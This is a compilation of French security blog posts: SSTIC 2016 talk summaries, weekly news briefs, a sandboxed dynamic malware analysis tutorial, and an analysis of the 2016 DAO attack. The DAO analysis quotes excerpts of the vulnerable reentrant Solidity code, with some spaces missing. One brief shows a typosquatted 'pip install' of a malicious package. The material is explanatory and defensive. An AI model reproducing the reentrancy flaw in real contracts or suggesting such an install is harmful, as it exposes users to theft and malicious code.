Amaury Leroy (CERT Airbus Group) a présenté son projet de crawler dont le but est de récupérer des données diverses dans le cadre d’une veille : détection de mots-clés ou de changements significatifs dans l’infrastructure réseau (Whois, SSL, DNS par exemple).  Le passage à l’échelle sur les solutions cloud classiques comme Amazon EC2 est problématique car effectuer des millions de requêtes DNS ou de recherches Google par jour provoque un blocage rapide du crawler. L’auteur a donc réalisé un botnet en utilisant des Raspberry Pi et en les déployant chez des amis pour récupérer les informations nécessaires. Sa solution utilise notamment du SSH avec port knocking, le framework Rebus pour la communication, et Selenium / PhantomJS pour le scrapping d’informations.
Broken Synapse
Ivan Kwiatkowski a présenté une attaque contre le jeu de stratégie Broken Synapse, lui permettant de lever le brouillard de guerre et de gagner un avantage significatif dans ses parties en ligne. Il a pour cela d’abord intercepté les données HTTP échangées avec le serveur, sans réussir à interpréter les données retournées par le serveur. Il a ensuite choisi de reverser le code du jeu pour désactiver le brouillard de guerre quel que soit le mode de jeu, ce qui peut permettre à un attaquant de gagner facilement des parties et de monter au classement sur Steam de manière déloyale.
Un FizzBuzz pour le cyber
Éric Jaeger et Olivier Levillain ont présenté un questionnaire élaboré pour la sélection des candidats à la formation « Experts en SSI » du centre de formation de l’ANSSI, autour de la question : « comment évaluer efficacement un candidat lors d’un entretien ? ». FizzBuzz est un jeu (il faut compter jusqu’à 100 et dire « Fizz » pour les multiples de 3, « Buzz » pour les multiples de 5, et « FizzBuzz » pour les multiples de 3 et de 5) qui est également utilisé comme exercice lors du recrutement de développeurs, de manière apparemment efficace. Plusieurs autres exemples de tests en apparence simple mais révélateurs d’un état d’esprit ont été présentés.

La journée s’est terminée par un cocktail et a permis aux participants de se rencontrer et de discuter des sujets de la journée (et de la crue de la Seine).


Mickaël BERGEM

CERT-Solucom : retour sur l'actualité de la semaine du 6 juin

$
0
0

Comme chaque semaine, retrouvez notre revue d'actualité de la sphère cyber-sécurité. Cette compilation de brèves vous permettra d'alimenter les discussions des prochaines pauses cafés !

[Brève] Les dangers du typosquatting, désormais sur les “packets manager”
Après les risques liés à une faute de frappe lorsqu’il s’agit de taper le nom de votre site préféré dans la barre d’adresse, il faut désormais aussi faire attention à ne pas se tromper pour installer des bibliothèques avec votre gestionnaire de paquets. En effet, il est possible de créer un projet avec un nom très similaire à un paquet connu, un utilisateur peu attentif pourrait donc installer sans s’en rendre compte la version malveillante du paquet souhaité. (ex: sudo pip install reqeusts au lieu de sudo pip install requests).
Source :
http://incolumitas.com/2016/06/08/typosquatting-package-managers/
[Brève] Twitter nie la fuite de 32 millions identifiants
Source :
https://blog.twitter.com/2014/keeping-your-twitter-account-safe
[Brève] Keepass et les mises à jour en HTTP(S)
La semaine dernière, nous vous avions parlé des critiques que subissait le fameux logiciel de gestion de mots de passe. En réponse, le développeur principal du projet a décidé de modifier le fonctionnement des mises à jour en passant celles-ci en HTTPS et en ajoutant une signature sur le fichier contenant le numéro de la dernière version disponible.
Source :
http://keepass.info/help/kb/sec_issues.html#updsig
[Brève] La fin des exploits sur la pile?
Intel a dévoilé cette semaine un nouveau mécanisme de sécurité qui pourrait signer la fin des ROP (Return-oriented programming) et JOP (jump-oriented programming). La technique consiste simplement en une shadow stack sur laquelle les adresses de retour sont aussi stockées, ainsi lorsque le processeur atteint une return instruction il va alors vérifier que l’adresse présente sur la stack correspond bien à celle dans la shadow stack.
Source :
http://www.theregister.co.uk/2016/06/10/intel_control_flow_enforcement/
[Brève] Une exécution de code arbitraire dans le lecteur PDF de Google Chrome
Source :
http://www.theregister.co.uk/2016/06/09/chromes_pdf_reader_has_arbitrary_code_execution_flaw/
[Brève] Pourquoi vous ne devriez pas partager de liens sur Messenger
Des chercheurs de Checkpoint ont découvert que les liens partagés au travers de Facebook Messenger peuvent être accédés au travers de l’API proposée par Facebook.
Source :
https://medium.com/@intideceukelaire/why-you-shouldnt-share-links-on-facebook-f317ba4aa58b#.cah8w6w8v
[Brève] Le ransomware Jigsaw contient désormais un chat en ligne pour aider ses victimes
Payer la rançon n’a jamais été aussi simple !
Source :
http://www.darkreading.com/attacks-breaches/ransomware-now-comes-with-live-chat-support/d/d-id/1325879
[Brève] LetsEncrypt fuite 8000 adresses mails par erreur
L’autorité de certification notamment connue pour ses certificats SSL/TLS gratuits a déclaré avoir dévoilé accidentellement un peu moins de 8000 adresses à cause d’un bug dans son système d’envoi automatique de mail.
Source :
https://community.letsencrypt.org/t/email-address-disclosures-preliminary-report-june-11-2016/16867
[Brève] Bitdefender démontre qu’il est possible d’intercepter des flux TLS au niveau de l’hyperviseur
Source :
https://www.helpnetsecurity.com/2016/06/10/telescope-technique/
[Brève] Mozilla va financer des audits pour des projets open source
La fondation Mozilla a annoncé avoir mis en place un fond dédié pour aider des projets open source à se débarrasser des vulnérabilités présentent dans leur code. Le montant alloué est dans un premier temps de $500 000, 3 projets (PCRE, libjpeg-turb et phpMyAdmin) ont déjà eu la possibilité de participer à cette offre qui aurait déjà permis de corriger 43 vulnérabilités.
Source :
https://www.helpnetsecurity.com/2016/06/10/mozilla-will-fund-code-audits/
[Brève] Lava, un système pour injecter des bugs dans votre code
Ou comment tester les auditeurs ?
Source :
http://moyix.blogspot.fr/2016/06/how-to-add-a-million-bugs-to-a-program.html

Xavier GERONDEAU

Reverse Engineering - focus sur l’analyse dynamique de malware

$
0
0
L’analyse dynamique d’un fichier correspond à analyser l’exécution de ce fichier. Cette analyse permet alors de déterminer le comportement réel du malware, là où certains éléments de l’analyse statique peuvent être présents uniquement pour détourner l’attention de l’analyste, ou lui compliquer la tâche.
Une première forme d’analyse dynamique correspond à l’exécution du malware et à l’observation des modifications qu’il entraine sur le système. Cette analyse a le plus souvent pour but de déterminer les actions à effectuer pour supprimer le malware, et/ou créer une signature.
Attention, ce type d’analyse doit absolument être fait dans un environnement contrôlé (machine virtuelle, poste dédié et déconnecté du SI, etc.) afin de ne pas risquer la propagation de l’infection.

1)     Analyse des opérations

L’analyse dynamique permet la surveillance de nombreuses informations : les registres, le système de fichiers et les processus. Cette étape est au début assez fastidieuse étant donné que de nombreuses informations sont accessibles. Il existe différents outils permettant d’accéder à ces informations. ProcessMonitor est l’un de ces outils qui a l’avantage de permettre à l’analyste de filtrer ses recherches sur un exécutable, ce qui est très pratique pour l’analyse de malwares.
Figure 1 : Résultat d’une analyse de ProcessMonitor sur un malware appelé mm32.exe
L’analyse de ces différents éléments permet à l’analyste d’avoir une meilleure compréhension de l’activité du malware. Cependant, étant donné le nombre d’informations renvoyées par ProcessMonitor dont la plupart représentent des évènements standards du lancement d’un exécutable, l’analyse demande beaucoup de pratique et de la patience.
Un autre outil permettant une analyse poussée des processus est Process Explorer. Il permet de lister les processus, les bibliothèques chargées par un processus, différentes informations sur ces processus, ainsi que des informations globales sur le système. L’avantage de cet outil est qu’il présente les informations sous forme d’arbre, exposant ainsi les relations entre les processus parents et enfants.
Les informations que Process Explorer renvoie sont le nom du processus, le PID (numéro d’identification du processus), l’utilisation du CPU, une description ainsi que le nom de l’entreprise ayant créé le binaire (champs laissés libres au créateur du binaire…). Par défaut les services sont surlignés en rose, les processus en bleu, les nouveaux processus en vert et les processus terminés en rouge. La vue se met alors à jour à chaque seconde. Lors de l’analyse de malware il est donc intéressant de repérer les différents processus qui sont modifiés ou créés afin de pouvoir enquêter dessus de manière plus approfondie.
Figure 2 : Résultat de Process Explorer sur un exécutable
Ces techniques sont très efficaces pour comprendre ce que fait un exécutable, mais il ne faut pas négliger leur utilité pour déterminer si un document est malveillant ou non. Un moyen rapide de savoir si un PDF est malveillant, par exemple, est de lancer Process Explorer puis d’ouvrir le PDF et de regarder si de nouveaux processus sont créés.
Remarque : Pour l’analyse de documents, il est souvent intéressant d’utiliser des versions intentionnellement non patchées des logiciels afin de s’assurer que l’attaque est efficace. Une bonne manière de faire cela est par exemple de créer plusieurs snapshots d’une machine virtuelle d’analyse, chaque snapshot ayant une version différente, et généralement assez âgée, des logiciels.
Pour l’analyse de registres, l’outil Regshot permet de comparer les registres sur deux snapshots différents. Un extrait de résultat de Regshot peut ressembler à la figure 3.
Dans ce résultat, le premier constat est la création d’un mécanisme de persistance HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run par le programme ckr.exe, le deuxième est la modificationde la valeur de la seed pour le générateur de nombre aléatoire, ce qui représente un bruit habituel.
Figure 3 : Extrait de résultat de Regshot après lancement du programme ckr.exe

2)     Analyse réseau

De nombreux malwares récupèrent des ressources ou transmettent des informations sur le réseau (en particulier vers des serveurs C2 « Command & Control »). De ce fait il est très intéressant de réaliser une analyse réseau pour déterminer les actions du malware. L’environnement d’analyse n’étant pas connecté à internet, il se peut qu’une partie des fonctionnalités du malware restent non accessibles. Cependant il est préférable de récupérer de telles informations en faisant une analyse manuelle approfondie plutôt que de permettre au malware de se propager (une sortie directe vers Internet peut néanmoins être fortement utile aux équipes d’analyse).
Quelques outils peuvent permettre d’effectuer une analyse réseau d’un malware :
  ApateDNS permet de récupérer les requêtes DNS faites par le malware. Il permet également de simuler les réponses d’une adresse IP spécifiée en écoutant sur le port 53 de la machine locale via le protocole UDP. Il affiche alors les requêtes reçues en hexadécimal ou en ASCII. Par défaut ApateDNS utilise la passerelle (gateway) ou les paramètres de DNS courants dans les réponses DNS.
Figure 4 : Interception des requêtes DNS et simulation des réponses par ApateDNS en utilisant l’IP 192.168.120.1
  Netcat permet le scan de port, tunneling, proxying, transfert de ports et bien d’autres choses sur des connections aussi bien entrantes que sortantes. Il existe deux modes de fonctionnement pour Netcat, le mode écoute, pour lequel Netcat agit comme un serveur, et le mode connexion pour lequel il agit comme un client.
Remarque : les malwares utilisent souvent les ports 80 et 443 (HTTP et HTTPS respectivement) car ces ports ne sont généralement pas bloqués par les différents équipements de sécurité sur le réseau des entreprises (firewall, proxy, etc.).
Remarque 2 : certains malwares simulent des connexions usuelles afin de cacher leur comportement et tirer parti d’une méconnaissance de nombreux analystes réseau qui ne se concentrent que sur le début d’une session. Par exemple, en figure 5 le reverse shell RShell est instancié avec une redirection du domaine www.google.com vers l’hôte local 127.0.0.1 à l’aide d’ApateDNS. L’analyste écoute ensuite le trafic réseau sur le port 80 local avec Netcat.
Dans ce résultat, RShell simule une requête POST à www.google.com (comme le montre le point 2 sur la figure) mais par la suite, l’analyste récupère bien un shell (visible sur le point 3).
Figure 5 : Résultat renvoyé par Netcat lors de l’exécution de RShell en redirigeant les requêtes vers l’hôte grâce à ApateDNS
  Wireshark permet la capture de paquets et de création de logs pour le trafic réseau. Il permet la visualisation, l’analyse de trames et l’analyse en détail de paquets individuels.
Figure 6 : Capture d’écran d’une analyse Wireshark
Une des fonctionnalités très utiles de Wireshark est la fonctionnalité Follow TCP stream qui permet à partir d’un paquet de reconstituer le flot entier auquel il appartient.
Figure 7 : Fonctionnalité Follow TCP Stream de Wireshark
Wireshark peut permettre à l’analyste de comprendre comment le malware réalise ses communications réseau.

3)     Analyse via débogueur

Étape la plus complexe de l’analyse, l’analyse dynamique avancée correspond au passage de l’exécutable dans un débogueur afin de déterminer les actions qu’il effectue les unes après les autres, ainsi que les différents états qu’il génère sur le poste analysé. Il existe plusieurs débogueurs utilisables pour cette étape, notamment IDA Pro, OllyDbg et WinDbg.
Cette étape est extrêmement efficace mais nécessite de nombreuses connaissances et beaucoup de temps. Dans cette partie sera présenté un aperçu de ce qu’il est possible de faire avec un débogueur. Il est important de retenir que l’analyse dynamique révèle ce que le malware fait véritablement, contrairement à l’analyse statique qui montre ce que le malware est en théorie capable de faire. Certains bouts de code présents dans le malware peuvent en effet ne jamais être appelés, et les repérer durant l’analyse statique peut induire en erreur l’analyste sur l’action du malware.
L’utilisation d’un débogueur permet également d’obtenir des informations impossibles à récupérer avec un désassemblage, comme par exemple les valeurs prises par les registres au fur et à mesure de l’exécution.
Il existe en fait deux types de débogueurs, ceux dits source-level qui sont généralement intégrés dans les IDE et bien connus des développeurs, leur permettant d’agir sur le code source afin de déterminer les comportements étranges de leurs programmes, et ceux dits assembly-level ou low-level qui agissent sur le code assembleur. C’est ce deuxième type de débogueur qui est utilisé par les analystes de malware, étant donné qu’ils n’ont pas accès au code source de l’application.
De même il existe deux niveaux de débogage, celui en mode utilisateur, où le débogueur est lancé sur le même système d’exploitation que le programme en cours d’exécution, et celui plus complexe en mode noyau, qui permet de déboguer des applications ayant ce niveau d’interactions, mais qui nécessite deux machines reliées, l’une faisant tourner le programme, et l’autre permettant le débogage. Une deuxième machine est en effet nécessaire car il n’existe qu’un noyau par système d’exploitation, et si un breakpoint est mis sur une instruction exécutée par ce noyau, plus aucune application ne pourra répondre, le débogueur compris.
Dans les deux cas d’exécution, le résultat sera la mise en suspens du programme. Dans le premier cas le programme sera stoppé dès le point d’entrée (sauf configuration particulière) alors que dans le deuxième il sera arrêté là où il se trouvait. Une fois cela effectué, il est possible d’agir de différentes manières sur le programme :
  Avancer d’une instruction (single-stepping) : cette action est généralement utilisée uniquement sur les passages identifiés comme importants afin d’obtenir des détails sur le fonctionnement comme les valeurs prises par les registres.
  Avancer d’une fonction (Stepping-over) : cela peut permettre de passer des détails inutiles. Par exemple si le programme appelle la fonction LoadLibrary, il n’est pas nécessaire de rentrer dans les détails de cette fonction.
  Rentrer dans une fonction (Stepping-into) : en opposition à l’action précédente, il peut parfois être intéressant de rentrer dans une fonction pour en comprendre les détails.
  Avancer jusqu’au prochain breakpoint : pour cela il faut souvent placer un breakpoint plus loin dans le code et relancer l’exécution, le débogueur s’arrêtera automatiquement au breakpoint.
  Modifier l’exécution d’un programme : par exemple pour éviter l’appel à une fonction, il est possible de mettre un breakpoint sur cette fonction et, lorsque l’interruption est levée, changer le pointeur d’instruction à après son appel.
Il existe trois types de breakpoints :
  Les software breakpoints : ces points d’arrêt sont utilisés pour faire en sorte que le programme s’arrête lorsque l’instruction sur laquelle ils sont placés est appelée. Pour réaliser cela, le débogueur remplace le premier octet de l’instruction par 0xCC, l’instruction pour INT3.
Figure 8 : Remplacement du premier octet de l’instruction par 0xCC lors d’un software breakpoint.
  Les hardware breakpoints : ils sont placés sur une adresse mémoire, et déclenchés lorsque le programme tente d’accéder à cette ressource. L’avantage est qu’ils ne dépendent pas de la valeur présente dans cette adresse mémoire, et qu’ils interviennent à l’accès et non à l’exécution. Néanmoins ils nécessitent des registres particuliers qui sont en nombre limités sur un système.
  Les conditional breakpoints : ce sont des software breakpoints qui ne vont déclencher l’arrêt que si une certaine condition est vérifiée. Cela peut par exemple être utile si l’on veut s’arrêter à l’appel d’une fonction que si un certain paramètre est appelé.
Ces différentes techniques d’analyse dynamique viennent en complément d’une analyse statique.
Il convient néanmoins de prendre toutes les précautions nécessaires avant de se lancer dans une analyse de malware. Chaque résultat obtenu par les analystes doit être contrevérifié pour s’assurer qu’aucune technique anti-reverse n’est mise en œuvre dans le binaire. Nous recommandons au lecteur de poursuivre son voyage au sein du monde du reverse engineering par notre « Tour d’horizon des techniques anti-reverse engineering » (http://www.securityinsider-solucom.fr/2015/05/tour-dhorizon-des-techniques-anti.html).
Vincent NGUYEN

CERT-Solucom : retour sur l'actualité de la semaine du 13 juin

$
0
0

Comme chaque semaine, retrouvez notre revue d'actualité de la sphère cyber-sécurité. Cette compilation de brèves vous permettra d'alimenter les discussions des prochaines pauses cafés !

[Brève] Un marché noir de serveurs RDP compromis
Avec plus de 7000 serveurs RDP piratés, le site russe “xDedic” propose à ses visiteurs d’obtenir des accès à partir de 6$ l’unité.
Source :
http://www.theregister.co.uk/2016/06/15/hacked_server_market/

[Brève] La plus grande agence de voyages japonaise victime d’un piratage
L’entreprise aurait été victime d’une campagne de “spear phishing” qui aurait permis aux pirates d’obtenir les informations de 8 millions d’utilisateurs, parmi lesquelles se trouvent des noms, adresses, mais surtout numéros de passeport.
Source :
http://www.zdnet.com/article/japans-largest-travel-agency-fears-data-leak-impacting-8-million-users/

[Brève] Un ransomware désormais sur votre téléviseur
Le malware répondant au nom de “FLocker” et circulant depuis 2015 pourrait désormais cibler les télévisions basées sur le système Android. Une fois infecté le téléviseur affiche un écran de verrouillage et demande le paiement d’une rançon sous forme de cartes cadeaux iTunes.
Source :
http://www.theregister.co.uk/2016/06/13/android_ransomware_infects_tvs/

[Brève] Comment prendre le contrôle d’un compte Facebook (ou pourquoi votre téléphone est un risque de sécurité)
Le réseau social propose à ses utilisateurs de changer le mot de passe de leur compte à l’aide d’une “one-time-password” envoyé sur leur téléphone. Toutefois certaines failles bien connues du protocole SS7 permettent d’intercepter ce SMS et donc de prendre contrôle du compte Facebook.
Source :
https://www.helpnetsecurity.com/2016/06/16/hijack-facebook-account/

[Brève] Une potentielle porte dérobée dans les processeurs Intel
Source :
http://fossbytes.com/intel-processor-backdoor-management-engine/

[Brève] Une voiture Mitsubishi piratable à distance
Un groupe de chercheurs britanniques nommé Pen Tests Partners a réussi à pirater le nouveau Mitsubishi Outlander PHEV (Véhicule SUV) par le biais de son application et de sa connexion Wi-Fi. Ils ont ainsi pu désactiver l’alarme, modifier les indicateurs concernant la charge de la batterie, allumer les phrases, modifier la climatisation ou même épuiser la batterie,
Source :
http://www.darkreading.com/attacks-breaches/an-inside-look-at-the-mitsubishi-outlander-hack-/d/d-id/1325954

[Brève] BadTunnel, une vulnérabilité vieille de 20 ans
Source :
https://nakedsecurity.sophos.com/2016/06/16/badtunnel-a-vulnerability-all-windows-users-need-to-patch/

[Brève] Windows 10 désormais fourni avec un utilitaire anti-bloatware
Au-delà de la gêne occasionnée par les nombreux logiciels que nous imposent les constructeurs d’ordinateurs, les actualités de ces dernières semaines ont démontré que ces “bloatware” peuvent aussi présenter des risques de sécurité. C’est donc avec joie que l’on apprend que Windows 10 sera désormais fourni avec un utilitaire permettant de repartir d’une installation vierge de l’OS.
Source :
http://www.zdnet.com/article/microsoft-pushes-new-test-tool-to-kill-pc-bloatware/

[Brève] Google a payé 500000$ de “bug bounty” pour Android cette année
Source :
http://www.cnet.com/news/google-pays-550000-to-people-who-found-security-holes-in-android/

[Brève] Adobe corrige 36 vulnérabilités sur Flash Player
Cette mise à jour contient un correctif pour la CVE-2016-4171 permettant d'exécuter du code à distance et déjà exploité dans la nature.
Source :
http://www.theregister.co.uk/2016/06/16/adobe_36_flash_flaws/

Xavier GERONDEAU

Ethereum x DAO : retours sur l’attaque de juin 2016

$
0
0

Introduction

Ethereum est une plateforme décentralisée reposant sur le principe de la blockchain. La
crypto-monnaie associée a pour nom Ether (symbole ETH), et comme sous-unité le Wei, Szabo et le Finney.
Les transactions validées par Ethereum sont effectuées entre deux types de comptes :
  • Des comptes classiques
  • Des comptes spécifiques appelés smart contracts
Un smart contract est un compte auquel est associé un code écrit dans un langage de programmation, le plus utilisé étant Solidity. À la différence du compte standard, bien que le smart contract ait la possibilité d’émettre des transactions en Ether vers d’autres comptes, ces transactions ne sont créées qu’en réponse à un virement initialement reçu par un autre compte standard ou smart contract.
Le smart contract peut ainsi être perçu comme un bot émettant des transactions en réponse à d’autres transactions reçues.

Des organisations, labellisées DAO(1), sont construites autour de l’utilisation de ces smart contracts. The DAO, victime de l’attaque du 17 juin, est l’une de ces DAO, utilisant un smart contract pour gérer des fonds d’investissement  pour différents projets. Les détenteurs investissent dans le fond et en retour reçoivent des tokens DAO correspondant à un nombre de voix proportionnels au nombre de tokens possédés. Ces voix sont utilisées lors de votes permettant au smart contract de répartir l’investissement entre les projets lors de propositions de splits et de verser les dividendes aux investisseurs.

Mécanisme de l’attaque

La personne à l’origine de cette attaque a découvert une vulnérabilité dans le code source du smart contract de The DAO. En cas de désaccord d’un certain nombre de détenteurs de tokens DAO, une proposition de séparation (split proposal) du DAO initial et de création d’un nouveau DAO peut être soumise à un vote. La fonction splitDAO est au cœur de ce mécanisme et assure qu’une fois que le vote est passé, les personnes se séparant du DAO initial récupèrent leur part.

L’attaquant a été en mesure de trouver une vulnérabilité au sein de cette même fonction, lui permettant de compromettre le fonctionnement standard d’un split proposal.
Ci-dessous un extrait de la fonction splitDAO, incluant la section vulnérable :
functionsplitDAO(uint_proposalID, address_newCurator)
  noEtheronlyTokenholdersreturns(bool_success){
    ...
    // Move tokens
    if(p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)
(msg.sender) == false)
    throw;
    ...
    // Reward attribution
    Transfer(msg.sender, 0, balances[msg.sender]);
    withdrawRewardFor(msg.sender); // be nice, and get his rewards
    ...
    // Set balance to 0
    balances[msg.sender] = 0; paidOut[msg.sender] = 0;
}

Cette fonction appelle la fonction withdrawRewardFor, qui elle-même appelle la fonction payOut, dont voici le code :
function
payOut(address_recipient, uint_amount) returns(bool) {
 
    if(msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner))

    throw;
    if(_recipient.call.value(_amount)()) {
      PayOut(_recipient, _amount);
      returntrue;
    } else{
      returnfalse;
    }
}

Le paramètre _recipient étant contrôlé dès l’input de la fonction splitDAO, à savoir lors de l’émission de la proposition de split, l’attaquant peut utiliser l’appel _recipient.call.value() pour exécuter la fonction de son choix.
Dans le cas de l’attaque de The DAO, l’attaquant a choisi de rediriger le flux d’exécution vers un nouvel appel à la fonction splitDAO, provoquant une boucle d’appels imbriqués. Chaque appel provoque un versement des récompenses pour l’attaquant, sans une seule fois débiter son propre compte.

Le montant total de la fraude est estimé à 3.6 millions ETH, sur un total de 12 millions disponibles pour The DAO, actuellement évalués à 50 millions de dollars. Cette somme a cependant dû être versé des comptes de type DAO enfant, et est bloquée pendant 27 jours avant réinvestissement ou conversion en monnaie réelle. Il s’agit d’un mécanisme mis en palce dans The Dao préalablement à l’attaque.

Solutions envisagées

Une fois la fraude découverte, le code du smart contractétant toujours vulnérable, un groupe d’utilisateurs d’Ethereum en partie anonyme a décidé d’employer la même attaque pour sécuriser 7.2 millions des 8.4 millions ETH restant, en attendant la résolution complète du problème.
Bien que localisée dans le code de The DAO, la vulnérabilité présentée ici a eu un impact non négligeable sur l’Ether et donc la blockchain elle-même (baisse de 50% de la valeur de l’Ether).
Deux choix ont été pour l’instant présentés aux utilisateurs d’Ethereum pour contrer cette fraude :

Soft fork

Le soft fork consiste en une modification mineure du programme exécuté par la communauté Ethereum. Il s’agirait de rajouter un commutateur optionnel
--illegal-hashes, dont le rôle serait d’ignorer les transactions placées en liste noire.
Le but de ce fork serait de prévenir le retrait d’Ether depuis n’importe quel DAO afin de geler la situation, et ce en attendant qu’une solution permettant de recouvrir les fonds dérobés soit mise en place. Cette action permet de gagner du temps mais ne résout pas fondamentalement le problème.

Hard fork

Le hard fork est une solution qui apporte des modifications au protocole Ethereum. Ce fork aurait pour vocation, dans un premier temps, de récupérer la somme dérobée depuis les comptes contrôlés par l’attaquant afin de la réattribuer au DAO initial. Dans un second temps, le contrat du DAO initial serait modifié afin de permettre un retrait équitable  des fonds versés par les possesseurs de tokens DAO. Mais cette action remet en cause le principe d’inviolabilité de la blockchain et du fonctionnement des « smart contract » censés être autonomes et gérés sans intervention humaine.

Dans les deux cas, l’adoption de la solution proposée reste au choix de l’utilisateur. Les utilisateurs en majorité définiront la blockchain Ethereum nominale, tandis que les personnes en minorité ayant décidé de ne pas prendre cette décision, créent alors un cluster parallèle.

Conclusion

Le lendemain de la fraude, l’attaquant a rédigé une lettre ouverte sur Pastebin(2), adressée aux communautés DAO et Ethereum, dans laquelle il détaille les impacts néfastes d’une action sur la blockchain suite à son exploitation de la vulnérabilité. Des arguments sur l’aspect légal de sa propre action sont également avancés, citant les conditions générales de The DAO : « code is law ».
Selon lui, toute intervention de la communauté, même sur une décision démocratique, endommagera la confiance dans Ethereum, et de manière plus générale dans les systèmes de type blockchain.
L’attaque portée contre le smart contract de The DAO met en lumière les impacts considérables de la confiance en un code écrit par une tierce partie. En acceptant des smart contracts, Ethereum expose sa propre crypto-monnaie aux retombées des actions portées sur les DAO.
L’exploitation de cette vulnérabilité a conduit à une fraude de plus de 50 millions de dollars et il semblerait qu’Ethereum, à tort tenu pour responsable, soit désormais en charge de la gestion
post-crise.

(1) Decentralized Autonomous Organizations
(2) http://pastebin.com/CcGUBgDG

Sources :
https://blog.ethereum.org/2016/06/17/critical-update-re-dao-vulnerability/
http://www.bortzmeyer.org/the-dao-ethereum-et-une-attaque.html
https://blog.ethcore.io/attack-on-thedao-what-will-be-your-response/
https://blog.ethcore.io/our-dao-response-2/
http://www.coindesk.com/will-ethereum-hard-fork/
Jean MARSAULT

Compte-rendu du SSTIC 2016 - Jour 2

$
0
0

Dans le cadre de notre participation au SSTIC 2016, nous vous avions partagé en exclusivité le compte-rendu de notre 1ère journée.
On continue avec le compte-rendu de la 2ème journée, avec un joli programme en perspective !
N'hésitez pas à réagir.
Bonne lecture !
A first glance at the U2F protocol
Ce jeudi matin, Mickael Bergem a présenté avec Florian Maury une étude réalisée pendant son master et pour le compte de l’ANSSI, portant sur U2F – Universal Second Factor. U2F est un protocole d’authentification forte créé par la FIDO Alliance qui repose sur un token physique (ou logiciel) et communiquant en USB, en Bluetooth ou en NFC (pour les smartphones par exemple). Déjà disponible comme second facteur d’authentification sur les sites de Google, Github et Dropbox, il apporte des garanties de sécurité et une facilité d’utilisation supérieures aux solutions reposant sur l’envoi de codes par SMS ou la génération de codes TOTP (Time-based One-Time Passwords). Il permet notamment de se protéger contre les attaques par phishing, alors que les solutions précédentes sont inefficaces.
U2F intègre également une protection contre les attaques Man-In-The-Middle TLS, c’est-à-dire lorsque l’attaquant est directement sur le chemin réseau et est en mesure de présenter un certificat TLS accepté par le client (attaque difficile à réaliser). Pour cela, U2F repose actuellement sur une extension TLS nommée « TLS Channel ID », qui n’est implémentée que sur les serveurs de Google (dans leur librairie BoringSSL). En revanche, la vérification de cette attaque est volontairement désactivée, pour éviter de bloquer les clients utilisant un proxy TLS, le proxy agissant alors comme un MITM TLS. Cette protection avancée n’est donc pour le moment pas utilisable (non supportée ou non vérifiée), U2F restant néanmoins une solution simple et efficace comme second facteur d’authentification. Une comparaison avec l’utilisation de certificats TLS clients (authentification mutuelle) montre que cette dernière solution est à préférer dans les contextes sensibles (interface d’administration par exemple), bien que plus difficile d’utilisation.
How not to break LTE crypto
Benoît Michau et Christophe Devine (ANSSI) ont présenté une revue du modèle de sécurité en LTE (4G), ainsi que plusieurs vulnérabilités trouvées dans des modems 4G fabriqués par Qualcomm, Mediatek et Samsung. Certaines implémentations acceptaient jusqu’en 2013 le contrôle d’intégrité nul (EIA0) pour toutes les connexions, ce qui permet de faire de l’interception en utilisant une fausse base station LTE. Plus récemment, une attaque par analyse différentielle a permis d’extraire le secret partagé d’une carte SIM, permettant de déchiffrer toutes les communications passées ou présentes de l’utilisateur, car aucun mécanisme de Perfect Forward Secrecy n’est utilisé en LTE. D’autres vulnérabilités permettent de demander aux terminaux de communiquer sans chiffrement, permettant de récupérer l’APN et l’IMSI, ou encore de récupérer l’IMEI d’un terminal en utilisant un « bit de politesse » qui une fois passé à 1 désactive les vérifications (ce bit est censé n’avoir aucun effet, d’après la norme). On notera également l’apparition des mots « ordiphone » (pour smartphone) et… « biscuits de pile » (pour stacked cookies) dans cette présentation de l’ANSSI, qui a particulièrement fait réagir la sphère Twitter.

Méthodologie d’extraction de signatures issues des signaux AIS
Erwan Alincourt et Pierre-Michel Ricordel (IRENav / ANSSI) ont présenté leurs expérimentations pour détecter les signaux AIS forgés. AIS, pour Automatic Identification System est un système de suivi de la localisation des navires, permettant d’identifier et de suivre les navires, par la communication de leurs coordonnées GPS.
D’après les chiffres présentés, 1% des navires transmettent des fausses données, dont 44% sont des navires chinois : les falsifications sont triviales et ont par exemple permis à des navires iraniens de passer le blocus ou à des pêcheurs de sortir des zones de pêche autorisées sans être repérés. À l’aide d’adaptateurs RTL-SDR (par exemple, un simple tuner TNT) et d’une carte HackRF, les auteurs ont réalisé des acquisitions dans la rade de Brest, et ont analysé les caractéristiques des signaux recueillis (temps de montée et de descente de l’émetteur, temps avant et après modulation, corrélation entre puissance du signal et distance). Ces différentes informations leur ont permis d’identifier avec certitude un répéteur (connu) de signaux, situé à terre. Le maintien d’une base de connaissance et la vérification de la stabilité temporelle de l’empreinte des émetteurs peut permettre de détecter les faux émetteurs. Améliorer AIS en ajoutant une couche de sécurité est coûteux car cela nécessiterait de changer le protocole et les matériels, mais augmenter le coût de l’attaque en développant ces techniques de fingerprinting apparaît comme un axe de progression intéressant.
Comparaisons et attaques sur le protocole HTTP2
Dans cette présentation, Georges Bossert a d’abord rappelé que HTTP/2 est grandement basé sur SPDY, un protocole non standard développé par Google dont le but est de réduire la latence en utilisant une seule connexion TCP pour toutes les connexions HTTP à un même site. Il a ensuite détaillé une comparaison des piles protocolaires entre Apache, h2o, Tomcat et Nginx, pour mettre en évidence les différences d’implémentation de HTTP/2 entre ces serveurs web. Pour cela, Georges a construit un « vocabulaire d’entrée », identifié les cas limites (négation des MUST, SHOULD, MAY de la RFC) et lancé une inférence active de l’automate d’état de ces implémentations, grâce à LSTAR (L*, réimplémenté en Python pour l’occasion). En sortie, on obtient des graphes d’automates à état où il est possible de visualiser les différences et les écarts à la norme. Plusieurs utilisations peuvent être faites de ces graphes :
  Créer un « smart-fuzzer » en partant d’un état légitime grâce au graphe, puis en essayant de passer sur des états illégitimes : cette approche a permis de provoquer des crashs de nginx, apache, et deux « bugs sécurité » sur h2o par exemple ;
  Créer un outil de fingerprinting quand les traces sont différentes, permettant d’identifier l’implémentation : cette approche est concluante après 3 échanges ;
  Faire de l’évasion d’IDS (Intrusion Detection System), en exploitant le non-respect des spécifications pour échapper au contrôle de l’IDS, par exemple en utilisant le fait que nginx maintient la connexion après des erreurs fatales.
Les outils utilisés sont disponibles sur le Github de l’auteur.
Évolution des techniques d'attaques de circuits intégrés
